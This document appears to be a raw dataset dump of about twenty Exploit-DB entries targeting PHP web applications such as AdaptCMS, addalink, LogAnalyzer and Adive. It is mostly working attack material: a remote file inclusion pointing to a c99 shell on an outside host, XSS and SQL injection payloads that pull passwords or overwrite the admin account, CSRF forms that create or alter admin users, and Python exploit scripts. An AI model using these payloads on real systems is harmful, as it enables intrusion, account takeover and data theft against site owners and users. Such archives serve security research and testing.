deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8016
Description: AdaptCMS Lite 1.4 - Cross-Site Scripting / Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-02-09
Author: RoMaNcYxHaCkEr

Exploit:
# AdaptCMS Lite 1,4 Multiple Vulnes ( Remote File Include ,  Remote XSS )

# Free Download : http://213.203.218.125/a/ad/adaptcms/AdaptCMS_Lite_1.4.zip

# Or : http://www.adaptcms.com/

- Found By : RoMaNcYxHaCkEr
- My Site : WwW.Sec-Code.CoM
- My Group : Security - Codes Group

# Exploit [1]:

- Remote File Include :

http://www.sec-code.com/AdaptCMS_Lite_1.4_2/plugins/rss_importer_functions.php?sitepath=http://www.sec-code.com/c99.txt?

# Exploit [2]:

- Remote XSS :

http://www.sec-code.com/AdaptCMS_Lite_1.4_2/index.php?view=redirect&url=javascript:alert[PII_REDACTED]09)

Cross Site Scripting in URI :

http://www.sec-code.com/AdaptCMS_Lite_1.4_2/index.php?acuparam=>'><ScRiPt>alert[PII_REDACTED]32)</ScRiPt>

Cross Site Scripting in path :

http://www.sec-code.com/AdaptCMS_Lite_1.4_2/?=>"'><ScRiPt>alert[PII_REDACTED]51)</ScRiPt>

# Solutions :

Contact With Me I Will Declear All This Fucking Functions

# rXh

# bEST wISHES

# milw0rm.com [2009-02-09]
Exploit-DB #11899
Description: AdaptCMS Lite 1.5 - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2010-03-27
Author: ITSecTeam

Exploit:
===========================================================================
( #Topic : AdaptCMS_Lite_1.5 2009-07-07
( #Bug type : change admin (user,passwd) & add new admin user exploit
( #Download :
http://sourceforge.net/projects/adaptcms/files/AdaptCMS%20Lite%20v1/1.5/AdaptCMS_Lite_1.5.zip/download
( #Advisory :
===========================================================================
( #Author : ItSecTeam
( #Email : Bug@ITSecTeam.com #
( #Website: http://www.itsecteam.com #
( #Forum : http://forum.ITSecTeam.com #
( #Original Advisory:
www.ITSecTeam.com/en/vulnerabilities/vulnerability28.htm
( #Special Tnx : ahmadbady , M3hr@n.S And All Team Members!

---------------------------------------------------------------------
exploit:

<html>
<head>
<body>
<h2>coded by ahmadbady</h2>
<form action='admin.php?view=edit_users2&id=1' method='post'>
<table cellpadding='5' cellspacing='0' border='0' width='480'
style='padding-left:5px' align='left'>
<tr><td>Username</td><td><input type='text' name='username1' size='16'
value='anything'
style='font-family: tahoma; font-size: 11px; border: 1px solid
#444444;padding-left:1px'>
</td></tr><tr><td>New Password?</td><td><input type='text'
name='password1' size='16'
style='font-family: tahoma; font-size: 11px; border: 1px solid
#444444;padding-left:1px'>
</td></tr><tr><td>E-Mail</td><td><input type='text' name='email1'
size='16' value='anything'
style='font-family: tahoma; font-size: 11px; border: 1px solid
#444444;padding-left:1px'>
</td></tr><tr><td>Level</td><td><select name='level' style='font-family:
tahoma;
font-size: 11px; border: 1px solid #444444;padding-left:1px'><option
value='Admin'
selected>Admin - Level 1</option><option value='Member'>Member - Level
3</option>
<option value='Staff'>Staff - Level 2</option></select></td></tr><tr><td>
<input type='submit' value='Update User'
style='font-family: tahoma; font-size: 11px; border: 1px solid
#444444;padding-left:1px'>
</td>
</tr></table></form> </td></tr></table>
</body>
</html>
---------------------------------------------------------------------
Exploit-DB #28008
Description: Adaptive Website Framework 1.11 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-12
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/18386/info

Adaptive Website Framework is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and gain access to the underlying system.

Version 1.11 of Adaptive Website Framework is vulnerable to this issue; other versions may also be affected.

http://www.example.com/[ac_path]/spaw/spaw_control.class.php?spaw_root=[cmd_url]/
Exploit-DB #8954
Description: adaptweb 0.9.2 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2009-06-15
Author: SirGod

Exploit:
#################################################################################################################
[+] AdaptWeb 0.9.2 (LFI/SQL) Multiple Remote Vulnerabilities
[+] Script : http://adaptweb.sourceforge.net/
[+] Discovered By SirGod 
[+] www.mortal-team.org
#################################################################################################################

[+] Script homepage : http://adaptweb.sourceforge.net/

[+] Local File Inclusion

- PoC 

   http://127.0.0.1/[path]/index.php?newlang=../../../../../../BOOTSECT.BAK%00


[+] SQL Injection

- PoC

   http://127.0.0.1/[path]/a_index.php?opcao=TopicosCadastro1&CodigoDisciplina=null+union+all+select+concat_ws(0x3a,senha_usuario,email_usuario)+from+usuario+where+id_usuario=1--&numtopico=1

#################################################################################################################


# milw0rm.com [2009-06-15]
Exploit-DB #26630
Description: ADC2000 NG Pro 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15595/info

ADC2000 NG Pro is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/adcbrowres.php?lang=english&cat=[SQL]
/adcbrowres.php?lang=[SQL]
Exploit-DB #10612
Description: Add An Ad Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-23
Author: MR.Z

Exploit:
################################################
|
| Add An Ad Script ~ Remote PHP File Upload
|
| it works with Add An Ad Cart script and Add An Event script
|
| Site : http://www.addanad.com/
|
| Download :
| http://www.addanad.com/addanad/product.php?id=1 [ Add An Ad Cart ]
| http://www.addanad.com/addanad/product.php?id=14 [ Add An Event ]
|
| Found by : MR.Z
|
|Contact : tzar-rules-da-world@hotmail.com
################################################
|
|Dork : in your dreams :)
|
|Exploit :
|
| 1- go to www.site.com/path/adminscripts/uploadfile.php
| 2- select your shell and upload
| 3- the script will show the shell link after uploading
|
################################################
|
|Greetz :- all muslims , ViRuSMaN , Evil - Coder and all member of [www.Islam-Attack.com]
|
################################################
Exploit-DB #6485
Description: addalink 4 - 'category_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-18
Author: ka0x

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Add a link <= 4 - beta || Remote SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

/ Script: Add a link
/ Version: <= 4 - beta
/ File affected: user_read_links.php
/ Download: http://sourceforge.net/projects/addalink/
/ need magic_quotes_gpc = Off


Found by ka0x <ka0x01 [at] gmail [dot] com>
D.O.M Labs - Security Researchers
- www.domlabs.org


Vuln Code:
--------------

32:  $read_out_linktable="SELECT * FROM $linktable WHERE approved='1' AND category_id='$category_id' ORDER BY id DESC LIMIT $start,$steps";
33:  $read_result=mysql_query($read_out_linktable);

....

87:  while($data=mysql_fetch_array($read_result))
88:  {
90:      echo "<tr><td colspan=\"5\">$data[description]</td></tr>";
91:  }

--------------

The var $category_id isn't verified.


Proof of Concept:

http://[host]/[addalink-path]/user_read_links.php?category_id=' UNION SELECT 1,1,1,1,1,1,concat(email,0x3a,ip),1,1,1,1 FROM Linklisttable/*


__EOF__

# milw0rm.com [2008-09-18]
Exploit-DB #6482
Description: addalink 4 Beta - Write Approved Links
Type: webapps
Platform: php
Date: 2008-09-17
Author: Pepelux

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
addalink <= 4 - beta / Write approved links without a previous moderation by the admin
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: addalink
$ Version: <= 4 - beta
$ File affected: add_link.php
$ Download: http://sourceforge.net/projects/addalink/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org

Linklist is a miniwebsite that you can use in your webpage. Basically it 
manages a database of links using PHP+MySQL. Users can send links (url, 
description, etc) by a form and one admin has to approve or delete the 
links before the publication in the website.

One not very important problem is that add_link.php doesn't test the 
method used (GET or POST). But the real problem is the method to insert 
some values. 

Reading the code you can see the SQL sentence:

INSERT INTO $linktable VALUES('0','$url','$linkname','$approved=0','$email',
            '$counter=0','$description','$ip','$date','$category_id','0')";

It asign values to approved and counter directly in the SQL sentence. For that,
you can enter links approved without moderation writing this:

http://domain/add_link.php?url=http://www.domain.com&linkname=name_of_the_link
&approved=1&email=my@email.com&description=blablablablablablabla&category_id=1

Also you can alter the counter of visits if you add &counter=XXXX to the GET


-= Solution =-


$approved = 0;
$counter = 0;

INSERT INTO $linktable VALUES('0','$url','$linkname','$approved','$email',
            '$counter','$description','$ip','$date','$category_id','0')";

# milw0rm.com [2008-09-17]
Exploit-DB #11754
Description: Address Book Script 1.09 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-15
Author: Pouya Daneshmand

Exploit:
#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Address Book Script
# Version: 1.9
# Vendor: http://www.phpkobo.com/address_book.php
#################################################################
# Vulnerability Info:
# Type: Local File Inclusion
# Risk: Medium
#################################################################
Vulnerability:
http://site.com/codelib/cfg/common.inc.php?LANG_CODE=../../../../../../etc/passwd%00

#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran[at]yahoo.com
###################################################################
Exploit-DB #48416
Description: addressbook 9.0.0.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-05-04
Author: David Velazquez

Exploit:
# Title: addressbook 9.0.0.1 - 'id' SQL Injection 
# Date: 2020-04-01
# Author: David Velazquez a.k.a. d4sh&r000
# vulnerable application:  https://sourceforge.net/projects/php-addressbook/files/latest/download
# vulnerable version: 9.0.0.1
# Discription: addressbook 9.0.0.1 time-based blind SQL injection 
# Tested On: Ubuntu Server 20.04 LTS
# Platform: PHP
# Type: webapp

# Use:
# addressbook9-SQLi.py #http://127.0.0.1/photo.php?id=1'


#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import requests

def isVulnerable(URL):
    """Check if the URL is vulnerable to ime-based blind SQL injection"""
    response = requests.get(URL+'%27%20AND%20(SELECT%207812%20FROM%20(SELECT(SLEEP(5)))MkTv)%20AND%20%27nRZy%27=%27nRZy')
    s=response.elapsed.total_seconds()
    if s>5:#I put a sleep sentence to test the bug
      sys.stdout.write('[+] Aplication is vulnerable!!!\n')
    else:
      sys.stdout.write('[+] Aplication NOT vulnerable\n')    
    
if __name__ == "__main__":
    isVulnerable(sys.argv[1])
Exploit-DB #33072
Description: Adem 0.5.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2014-04-28
Author: JIKO

Exploit:
----------[exploit Debut]
[Local File Include Vulnerability]
----------[Script Info]
 
Author        : JIKO
 
----------[Script Info]
 
Site        : https://github.com/4FSB/Adem && http://adem.faares.com/demo
Version     : 0.5.1
Download    : https://codeload.github.com/4FSB/Adem/zip/master
 
----------[exploit Info]
 
Exploit :
http://Path/index.php?p=File%00

Line : 8-10
Page : index.php
Code :
     if(is_file($file) && file_exists($file)){
            include $file;
       

 }
----------[exploit Fin]
Exploit-DB #26992
Description: Ades Design AdesGuestbook 2.0 Read Script - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-30
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16090/info

Ades Design AdesGuestbook is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

/read.php?pageNum_rsRead=1&totalRows_rsRead=[XSS]
Exploit-DB #46217
Description: Adianti Framework 5.5.0 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-21
Author: Joner de Mello Assolin

Exploit:
# Exploit Title: [SQL Injection in Adianti Framework]
# Date: [2018-12-18]
# Exploit Author: [Joner de Mello Assolin]
# Vendor Homepage: [https://www.adianti.com.br]
# Version: [5.5.0 and 5.6.0] (REQUIRED)
# Tested on: [XAMPP Version 7.2.2, phpMyAdmin 4.7.7 and 4.8.4, PHP 7.1 , Apache/2.4.29 (Win32) , libmysql - mysqlnd 5.0.12-dev – 20150407 and MariaDB 10.1]
# Software Link: [https://www.adianti.com.br/download-center?app=template]



The failure allows any ordinary user to enter SQL Injection and take over the administrator account or any other user of the system, 
by editing the profile itself.



POC:

1-Register an ordinary user or use the framework standard(user=user password=user)

2- Access the user profile and click edit http://localhost/template/index.php?class=SystemProfileForm&method=onEdit

3- In the field name enter SQL injection and click Save:

(SELECT 'hackeado'),login=(SELECT 'anonymous'),password=(SELECT '294de3557d9d00b3d2d8a1e6aab028cf'),email=(SELECT 'anonymous@anonymous.com')WHERE `id`=1#

4-Go to the login screen and enter username and password: Now you can log in as administrator!.

USER: anonymous

[CREDENTIAL_REDACTED]
Exploit-DB #37407
Description: ADICO - 'index.php' Script SQL Injection
Type: webapps
Platform: php
Date: 2012-06-15
Author: Ibrahim El-Sayed

Exploit:
source: https://www.securityfocus.com/bid/54023/info

ADICO is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ADICO 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/car-rent/[PATH]/admin/index.php?job=cars&action=edit&id=[SQL INJECTION]

http://www.example.com/car-rent/[PATH]/admin/index.php?job=calendar&action=month&id=[SQL INJECTION]
Exploit-DB #37438
Description: Adiscan LogAnalyzer 3.4.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-06-21
Author: Sooraj K.S

Exploit:
source: https://www.securityfocus.com/bid/54117/info

Adiscan LogAnalyzer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

LogAnalyzer 3.4.3 is vulnerable; other versions may also be vulnerable. 

http://www.example.com/?search=Search&highlight="<script>alert(document.cookie)</script>
Exploit-DB #45958
Description: Adiscon LogAnalyzer < 4.1.7 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-12-09
Author: Gustavo Sorondo

Exploit:
# Exploit Title: Adiscon LogAnalyzer 4.1.7 - Cross-Site Scripting
# Date: 2018-12-05
# Software Link: *httpås://loganalyzer.adiscon.com/
# <https://loganalyzer.adiscon.com/> https://github.com/rsyslog/loganalyzer
# <https://github.com/rsyslog/loganalyzer>*
# Exploit Author: Gustavo Sorondo
# Contact: http://twitter.com/iampuky
# Website: http://cintainfinita.com/
# CVE: CVE-2018-19877
# Category: webapps

# 1. Description
# Adiscon LogAnalyzer  before 4.1.7 is affected by Cross-Site Scripting (XSS)
# in the 'referer' parameter of the login.php file.

# 2. Proof of Concept

http://my.loganalyzer.instance/login.php?referer=%22%3E%3Cscript%3Ealert('Cinta%20Infinita')%3C/script%3E

# 3. Solution:
# Update to version 4.1.7.
# https://loganalyzer.adiscon.com/news/loganalyzer-v4-1-7-v4-stable-released/
Exploit-DB #51643
Description: Adiscon LogAnalyzer v.4.1.13 - Cross Site Scripting
Type: webapps
Platform: php
Date: 2023-08-04
Author: Pedro

Exploit:
# Exploit Title: Adiscon LogAnalyzer v.4.1.13 - Cross Site Scripting
# Date: 2023.Aug.01
# Exploit Author: Pedro (ISSDU TW)
# Vendor Homepage: https://loganalyzer.adiscon.com/
# Software Link: https://loganalyzer.adiscon.com/download/
# Version: v4.1.13 and before
# Tested on: Linux
# CVE : CVE-2023-36306

There are several installation method.
If you installed without database(File-Based),No need to login.
If you installed with database, You should login with Read Only User(at least)

XSS Payloads are as below:

XSS
http://[ip address]/loganalyzer/asktheoracle.php?type=domain&query=&uid=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E
http://[ip address]/loganalyzer/chartgenerator.php?type=2&byfield=syslogseverity&width=400&%%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E=123
http://[ip address]/loganalyzer/details.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/index.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/search.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E
http://[ip address]/loganalyzer/export.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/reports.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/statistics.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
Exploit-DB #47217
Description: Adive Framework 2.0.7 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2019-08-08
Author: Pablo Santiago

Exploit:
# Exploit Title: Adive Framework 2.0.7 – Cross-Site Request Forgery (CSRF)
# Date:02/08/2019.
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://adive.es
# Software Link: https://github.com/ferdinandmartin/adive-php7
# Version: 2.0.7
# Tested on: Windows and Kali linux
# CVE :2019-14346

# 1. Technical Description:
# Adive Framework 2.0.7 and possibly before are affected by Cross-Site
#Request Forgery vulnerability, an attacker could change any user
password.

# 2. Proof Of Concept (CODE):

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/adive/admin/config" method="POST">
      <input type="hidden" name="userName" value="admin" />
      <input type="hidden" name="confPermissions" value="1" />
      <input type="hidden" name="pass" value="1234" />
      <input type="hidden" name="cpass" value="1234" />
      <input type="hidden" name="invokeType" value="web" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

# 3. References:
# https://hackpuntes.com/cve-2019-14346-adive-framework-2-0-7-cross-site-request-forgery/
# https://imgur.com/apuZa9q
Exploit-DB #47600
Description: Adive Framework 2.0.7 - Privilege Escalation
Type: webapps
Platform: php
Date: 2019-11-08
Author: Pablo Santiago

Exploit:
# Exploit Title: Adive Framework 2.0.7 - Privilege Escalation
# Date: 2019-08-02
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://www.adive.es/
# Software Link: https://github.com/ferdinandmartin/adive-php7
# Version: 2.0.7
# Tested on: Windows 10
# CVE : CVE-2019-14347

#Exploit

import requests
import sys

session = requests.Session()

http_proxy  = "http://127.0.0.1:8080"
https_proxy = "https://127.0.0.1:8080"

proxyDict = {
             "http"  : http_proxy,
             "https" : https_proxy
           }
print('[*****************************************]')
print('[ BYPASSING Adive Framework Version.2.0.5 ]')
print('[*****************************************]''\n')



print('[+]Login with the correct credentials:' '\n')

user = input('[+]user:')
password = input('[+]password:')
print('\n')

url = 'http://localhost/adive/admin/login'
values = {'user': user,
          'password': password,
          }

r = session.post(url, data=values, proxies=proxyDict)
cookie = session.cookies.get_dict()['PHPSESSID']

print('Your session cookie is:'+ cookie +'\n')


host = sys.argv[1]
print('Create the new user:')
userName = input('[+]User:')
userUsername = input('[+]UserName:')
password = input('[+]Password:')
password2 = input('[+]Confirm Password:')
print('The possibles permission are: 1: Administrator, 2: Developer, 3:Editor')
permission = input('[+]permission:')

if (password == password2):
#configure proxy burp

#hacer el request para la creacion de usuario
data = {
'userName':userName,
'userUsername':userUsername,
'pass':password,
'cpass':password2,
'permission':permission,

}

headers= {
'Cookie': 'PHPSESSID='+cookie
}

request = session.post(host+'/adive/admin/user/add', data=data,
headers=headers, proxies=proxyDict)
print('+--------------------------------------------------+')

else:
print ('Passwords dont match!!!')

#PoC
https://imgur.com/dUgLYi6
https://hackpuntes.com/wp-content/uploads/2019/08/ex.gif
Exploit-DB #51667
Description: Adlisting Classified Ads 2.14.0 - WebPage Content Information Disclosure
Type: webapps
Platform: php
Date: 2023-08-08
Author: CraCkEr

Exploit:
# Exploit Title: Adlisting Classified Ads 2.14.0 - WebPage Content Information Disclosure
# Exploit Author: CraCkEr
# Date: 25/07/2023
# Vendor: Templatecookie
# Vendor Homepage: https://templatecookie.com/
# Software Link: https://templatecookie.com/demo/adlisting-classified-ads-script
# Version: 2.14.0
# Tested on: Windows 10 Pro
# Impact: Sensitive Information Leakage
# CVE: CVE-2023-4168


## Description

Information disclosure issue in the redirect responses, When accessing any page on the website,
Sensitive data, such as API keys, server keys, and app IDs, is being exposed in the body of these redirects.


## Steps to Reproduce:

When you visit any page on the website, like:

https://website/ad-list?category=electronics
https://website/ad-list-search?page=2
https://website/ad-list-search?keyword=&lat=&long=&long=&lat=&location=&category=&keyword=

in the body page response there's information leakage for

+---------------------+
google_map_key
api_key
auth_domain
project_id
storage_bucket
messaging_sender_id
app_id
measurement_id
+---------------------+


Note: The same information leaked, such as the API keys, server keys, and app ID, was added to the "Firebase Push Notification Configuration" in the Administration Panel.

Settings of "Firebase Push Notification Configuration" in the Administration Panel, on this Path:

https://website/push-notification (Login as Administrator)



[-] Done